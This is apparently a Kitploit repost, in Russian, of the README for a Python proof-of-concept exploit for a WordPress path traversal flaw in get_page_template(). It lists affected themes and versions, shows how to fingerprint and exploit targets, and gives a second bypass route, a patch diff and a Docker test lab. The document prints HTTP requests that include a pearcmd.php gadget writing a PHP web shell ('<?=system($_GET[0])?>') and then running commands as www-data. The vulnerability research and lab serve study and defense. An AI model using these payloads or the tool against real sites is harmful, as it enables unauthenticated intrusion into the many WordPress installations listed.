Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!
CVE-2026-87902 — Python PoC для CVE-2026-87902 — неаутентифицированное RCE через обход пути в WordPress с использованием get_page_template(), с фингерпринтингом версии, проверками темы и опциональным включением файлов. | Kitploit
Python PoC для CVE-2026-87902 — неаутентифицированное RCE через обход пути в WordPress с использованием get_page_template(), с фингерпринтингом версии, проверками темы и опциональным включением файлов.
полезная нагрузка. WP_Query прогоняет её через sanitize_title_for_query(), который переписывает литеральную точку в дефис, но сохраняет percent-encoded октеты. Затем get_page_template() вызывает urldecode(), чтобы декодировать результат в путь
page_id
любая опубликованная страница, чтобы запрос совпал с записью, а не вернул 404. Без него шаблон страницы никогда не загружается
Ядро строит page-{urldecode($pagename)}.php и разрешает его относительно каталога стилей. Кодирование обязательно: sanitize_title_for_query() переписывает литеральное .. в -.
Предусловия
#
Условие
Почему
1
активная тема содержит каталог page-* верхнего уровня
имя — page-{payload}.php, поэтому его первый сегмент должен разрешаться на диске
2
одна опубликованная страница, не являющаяся ни главной, ни страницей записей
is_front_page и is_home проверяются раньше is_page
3
целевой файл заканчивается на .php
ядро добавляет расширение
Никакого загруженного контента, никаких изменений в конфигурации сайта, теме или ядре.
Все 26 затронутых тем называют каталог page-templates. poc.py берёт имя из themes.json, предполагает page-templates для темы, которой там нет, а --root переопределяет списком через запятую.
Хосты Windows отбрасывают предусловие 1. Win32 лексически отменяет .., поэтому сегмент, которого не существует, всё равно отменяется следующим за ним ...
Путь
Результат
C:\...\wordpress\page-nothing\..\README.md
существует
C:\...\wordpress\page-nothing\README.md
не существует
Протестировано с os.stat на Windows 11, который использует ту же обработку путей Win32, что и file_exists() в PHP. Сам WordPress на Windows не запускался.
Использование
Проверка, по умолчанию
Определяет тему и две версии, затем спрашивает, существует ли каталог page-*. Ничего не включается и не выполняется.
root@kitploit:~
python3 poc.py --target https://example.com
root@kitploit:~
1 GET / 200 WordPress 7.1.1, theme neve
2 GET /wp-content/themes/neve/style.css 200 neve 4.2.11
3 GET /wp-content/themes/neve/page-templates/ 403 refused, which on its own establishes nothing
4 GET /wp-content/themes/neve/page-e464e285/ 404 the control is absent, so the refusal was about existence: the directory is there
────────────────────────────────────────────────────────────────────────────
result neve ships page-templates, core 7.1.1
next rerun with --exploit to make the target prove it
Ответ на page-<root>/
Чтение
200
каталог существует и листится
404
такого каталога нет
403
неубедительно, поэтому следует один контрольный запрос на page-<8 random hex>/
403, затем контроль 404
отказ был связан с существованием, каталог существует
403, затем контроль отказан
сервер отклоняет всё, что бы у него ни спросили, выход 4
Затронутость требует обоих: каталог существует, и версия не выше 7.1.1.
Эксплуатация
Сначала выполняет проверку, затем включает файл, если проверка не исключила цель.
5 GET /?rest_route=/wp/v2/pages 200 1 published page
6 GET /?page_id=2&pagename=page-templates/../../ 200 1368 bytes, not the theme's page [page-templates, page_id 2]
────────────────────────────────────────────────────────────────────────────
result wp-admin/install.php ran: WordPress › Installation
Отрендеренный шаблон темы всегда ссылается на /wp-content/themes/ через wp_head(), включённый файл извне темы — нет. Это правило вердикта.
Опции
Опция
По умолчанию
Эффект
--target URL
обязательно
развёртывание под тестом
--exploit
выкл.
включить файл после проверки
--include PATH
wp-admin/install.php
.php для включения. Относительные пути разрешаются от корня WordPress, абсолютные поднимаются с --depth
--depth N
7
переходы ../ для абсолютного --include
--root NAME[,NAME]
из themes.json
каталоги page-* для проверки, без префикса page-
--page-id ID
обнаружено
пропустить обнаружение страницы
--theme SLUG
обнаружено
пропустить поиск темы
--theme-version V
обнаружено
пропустить поиск версии темы
--no-version
выкл.
не делать ни одного запроса, единственная цель которого — узнать версию
--core-json PATH
core.json
отпечатки релизов, читаются только когда ничто не раскрыло версию
--trace
выкл.
печатать каждый обмен
--json
выкл.
один JSON-объект, ничего больше
--yes
выкл.
пропустить подтверждение
Код
Проверка
Эксплуатация
0
затронуто
.php вне темы был включён
1
не затронуто
не включён
2
нет ответа, или ответ не WordPress
то же
3
использование, или отклонено на подтверждении
то же
4
неубедительно, см. случаи 403 и 7.1.x
не используется
--include по умолчанию — wp-admin/install.php: в любом WordPress вывод безошибочно узнаваем, ничего не меняет.
TLS-сертификаты не проверяются. Просроченные, самоподписанные и с несовпадающим именем хоста принимаются.
Фингерпринтинг версии
Пробуется по порядку, останавливаясь на первом, что ответит.
Источник
Стоимость
На 7.1.1
мета generator на главной странице
бесплатно
точная версия
?ver= на ресурсе /wp-includes/
бесплатно
точная версия
/?feed=rss2
1 запрос
точная версия
/wp-links-opml.php
1 запрос
точная версия
sha256 отданного ресурса против core.json
1 запрос
набор релизов, поставляющих эти байты
core.json покрывает 112 опубликованных релизов и 7.1.2, по четыре ресурса каждый. Их пересечение называет 9 релизов точно и оставляет медиану в 4 кандидата. Затронутость требует, чтобы каждый кандидат был не выше 7.1.1.
7.1.1 и 7.1.2 невозможно различить извне. Три файла, которые различаются, — это wp-admin/about.php, wp-includes/template.php и wp-includes/version.php, ни один из них не отдаётся. Сайт 7.1.x, скрывающий свою версию, получает выход 4.
Темы
200 наиболее установленных тем на wordpress.org. 26 содержат каталог page-* и затронуты, вместе 765 500 из 9 027 090 активных установок. Остальные 174 не проходят предусловие 1.
Тема
Версия
Установки
page-*
Статус
Подтверждено
neve
4.2.11
200,000
page-templates
🔴 затронуто
lab
sydney
2.71
80,000
page-templates
🔴 затронуто
lab
hestia
3.3.6
70,000
page-templates
🔴 затронуто
lab
inspiro
2.2.3
60,000
page-templates
🔴 затронуто
survey
colibri-wp
1.0.169
50,000
page-templates
🔴 затронуто
survey
twentyfourteen
4.6
50,000
page-templates
🔴 затронуто
lab
twentytwelve
4.9
50,000
page-templates
🔴 затронуто
lab
colormag
4.2.5
40,000
page-templates
🔴 затронуто
lab
zakra
4.3.3
30,000
page-templates
🔴 затронуто
survey
spacious
1.9.12
20,000
page-templates
lab означает протестировано от начала до конца с poc.py против стокового образа, survey означает, что каталог был прочитан из архива темы, а сама тема не поднималась.
Протестированы и не затронуты, ни одна из них не содержит каталог page-*: astra, kadence, twentysixteen, twentyseventeen, twentytwentythree, twentytwentyfive.
front-page.php, поставляемый hestia, neve и другими, не меняет затронутость. Он лишь исключает ID главной страницы для запроса.
Версии
Релиз
Тема по умолчанию образа
С затронутой темой
Подтверждено
7.1.2
🟢 не затронуто, twentytwentyfive
🟢 не затронуто, neve
lab
7.1.1
🟢 не затронуто, twentytwentyfive
🔴 затронуто, neve
lab
7.1.0
🟢 не затронуто, twentytwentyfive
🔴 затронуто, neve
lab
7.0.4
🟢 не затронуто, twentytwentyfive
🔴 затронуто, neve
lab
6.8.3
🟢 не затронуто, twentytwentyfive
🔴 затронуто, neve
lab
6.1.0
🟢 не затронуто, twentytwentythree
🔴 затронуто, twentytwelve
lab
4.9.8
🟢 не затронуто, twentyseventeen
🔴 затронуто, twentytwelve
lab
остальные 105 релизов
не измерялось
не измерялось
не измерялось
Версия темы
не предусловие, а каталог page-* — да. neve 4.2.11 использовалась на 6.8.3 и выше, twentytwelve 4.9 на двух более старых ядрах
7.1.2
нет опубликованного образа. Протестировано с lab/run.py --core 7.1.2, который накладывает официальный архив релиза поверх 7.1.1-apache
Из коробки
ни один релиз начиная с 4.1 не затронут. twentyfifteen по twentytwentyfive не содержат каталог page-*. twentyfourteen и twentytwelve содержат, и были темами по умолчанию для 3.8–4.0 и для 3.5, для которых образ не опубликован
Не вытягивается
15 из 112 опубликованных тегов: 14 старше 4.5.3-apache используют манифест v1, который containerd 2.1 отвергает, а 4.5.3-apache имеет слой, который реестр не может отдать
Варианты PHP, публикуемые для каждого релиза, которые определяют эскалацию ниже:
Релизы WordPress
Варианты PHP, публикуемые как -apache
4.1.x до 4.5.x
нет, только простой тег, 5.6
4.6.x до 5.0.x
5.67.07.17.27.3
5.1.x до 5.5.x
7.17.27.37.4
5.6.x до 6.0.x
7.27.37.48.08.1
6.1.x до 6.6.x
7.48.08.18.28.3
6.7.x
8.18.28.38.4
6.8.x и 6.9.x
8.18.28.38.48.5
7.0.x и 7.1.x
8.28.38.48.5
PHP и эскалация
Включение файла удаётся на всех четырёх образах, и pearcmd.php присутствует в каждом. Выполнение команд через гаджет требует включённого register_argc_argv, который образ php8.5 отключает.
Образ
PHP
register_argc_argv $_SERVER['argv']
RCE через pearcmd.php
Подтверждено
7.1.1-php8.2-apache
8.2.33
Вкл., заполнен
🔴 uid=33(www-data)
lab
7.1.1-apache
8.3.33
Вкл., заполнен
🔴 uid=33(www-data)
lab
7.1.1-php8.4-apache
8.4.25
Вкл., заполнен
🔴 uid=33(www-data)
lab
7.1.1-php8.5-apache
8.5.10
Выкл., null
🟢 не достигнуто
lab
Читается через apache2handler, а не CLI, который принудительно включает настройку. Два запроса, стоящие за колонкой RCE:
root@kitploit:~
# 1. include the gadget, whose arguments are the query string
GET /?page_id=2&pagename=<pearcmd payload>&+config-create+/&<?=system($_GET[0])?>+/tmp/labrce.php
# 2. include what it wrote
GET /?page_id=2&pagename=<tmp/labrce payload>&0=id
-> uid=33(www-data) gid=33(www-data) groups=33(www-data)
poc.py включает файл, он не управляет гаджетом. Добраться до него можно с --include /usr/local/lib/php/pearcmd.php --depth 7. Никакой другой гаджет, кроме pearcmd.php, на образе 8.5 не искался.
+ // wp-includes/template.php, new in 7.1.2, called by locate_template() on every candidate
+ function _wp_is_template_path_allowed( $path ) {
+ global $wp_stylesheet_path, $wp_template_path;
+
+ // A file path that exists and does not contain `..` is allowed.
+ if ( 0 === preg_match( '#(?:^|/)\.\.[. ]*(?:/|$)#', wp_normalize_path( $path ) ) ) {
+ return true;
+ }
+
+ $real_path = realpath( $path );
+ if ( false === $real_path ) {
+ return false;
+ }
+ $real_path = trailingslashit( wp_normalize_path( $real_path ) );
+
+ $directories = array(
+ $wp_stylesheet_path,
+ $wp_template_path,
+ ABSPATH . WPINC . '/theme-compat',
+ );
+ // ... plus the parent directory of a theme that lives in a subdirectory
+
+ foreach ( $directories as $directory ) {
+ $real_directory = realpath( $directory );
+ if ( false === $real_directory ) {
+ continue;
+ }
+ if ( str_starts_with( $real_path, trailingslashit( wp_normalize_path( $real_directory ) ) ) ) {
+ return true;
+ }
+ }
+ return false;
+ }
Первое исправляет уязвимую ветку, второе проверяет каждый разрешённый путь шаблона, чем бы он ни был порождён. Протестировано: на 7.1.2 с активной neve и присутствующим page-templates тот же запрос рендерит собственную страницу темы, 55 084 байта, вместо установщика.
Второй маршрут существует на 7.1.1 и ранее:
root@kitploit:~
POST /
name=<front page slug>&page_id=<posts page id>&preview=true&pagename=<payload>
Чем отличается
уводит WP_Query в его ветку post_name, которая никогда не переписывает pagename, поэтому литеральное .. работает
Что нужно
тема без single.php, потому что is_single проверяется раньше is_page
Протестировано на
7.1.1 с bloghash
Почему это здесь
это выживает при исправлении, укрепляющем только санитайзер. Проверка сдерживания выше закрывает и его
Лаборатория
root@kitploit:~
python3 lab/run.py # the pool in lab/targets.txt
python3 lab/run.py --tags 7.1.1-apache --theme [email protected] --keep
python3 lab/run.py --all --theme [email protected] --prune
python3 lab/run.py --refresh-versions # rewrite lab/versions.txt from the registry
python3 lab/themes.py # rebuild themes.json
python3 lab/core.py --also 7.1.2 # rebuild core.json
root@kitploit:~
1/9 7.1.1-apache affected 0 included twentytwelve wp-admin/install.php ran
2/9 7.1.1-apache affected 0 included hestia wp-admin/install.php ran
3/9 7.1.1-apache affected 0 included neve wp-admin/install.php ran
4/9 7.1.1-apache affected 0 included colormag wp-admin/install.php ran
5/9 7.1.1-apache affected 0 included sydney wp-admin/install.php ran
6/9 7.1.1-apache unaffected 1 not included twentytwentyfive no page-* directory
7/9 7.1.1-apache affected 0 included bloghash wp-admin/install.php ran
8/9 7.1.1-apache unaffected 1 not included kadence no page-* directory
9/9 7.1.1-apache unaffected 1 not included astra no page-* directory
По строке
Образ
официальный wordpress:<tag>, немодифицированный
Изоляция
собственный контейнер, собственный порт, собственная база данных в общей MariaDB
Установка
по HTTP через wp-admin/install.php, поэтому ни одной версии не нужен соответствующий wp-cli
Состояние
как его оставляет установщик, одна опубликованная страница, ничего не загружено
Управляется с
poc.py --exploit, поэтому строка измеряет включение, а не внешний вид
Опция
По умолчанию
Эффект
--jobs N
2
строк параллельно
--theme SLUG[@VERSION]
нет
установить и активировать на каждой строке
--core VERSION
нет
наложить этот официальный релиз поверх ядра образа, так запускается релиз без образа
--keep
выкл.
оставить экземпляры поднятыми, пароль администратора печатается в конце
--prune
выкл.
удалить образы, вытянутые этим запуском
--port-base N
8110
первый порт, по одному на строку, только 127.0.0.1
--db-image
mariadb:10.6
образ базы данных
--timeout N
180
секунд, которые контейнеру даётся на ответ
--out PATH
lab/results.json
детали по строкам
Коды выхода: 0 каждая строка измерена, 1 хотя бы одна не измерена, 2 Docker отсутствует или нечего запускать, 3 использование или отклонено. Образ WordPress — от 600 МБ до 1,1 ГБ, поэтому --all без --prune — это десятки ГБ.
.github/workflows/lab.yml запускает четыре строки при каждом изменении PoC или лаборатории, и еженедельно: затронутая тема на 7.1.1 и на 6.8.3, тема по умолчанию образа, и вариант php8.5. Каждая проверяет свой ожидаемый код выхода.
Две идеи, взятые из того PoC, обе сначала протестированы здесь:
Идея
Оставлено
Протестировано
/index.php?rest_route= и /wp-json/ как запасные маршруты для листинга страниц
да
обнаружение удаётся через один из трёх
предпочитать страницу без собственного шаблона страницы, поскольку get_page_template() пробует этот шаблон первым
да, как порядок
принудительное использование страницы, которая его несёт, всё равно воспроизвелось на 7.1.1, так что это стоит запроса в худшем случае
Файлы
root@kitploit:~
poc.py the PoC, standalone, stdlib only
themes.json per-theme facts poc.py reads (generated)
core.json asset fingerprints per release (generated)
lab/run.py the lab
lab/themes.py rebuilds themes.json from the survey and the archive cache
lab/core.py rebuilds core.json from the official release archives
lab/survey.json 200 most-installed themes, their version and page-* directories
lab/targets.txt the pool lab/run.py stands up by default
lab/versions.txt 112 published releases (generated from the registry)
lab/results.json last run (ignored)
lab/.cache/ theme and release archives (ignored)
attic/ previous attempt, unwired, ignored
Требования: Docker, Python 3.8+, без сторонних пакетов.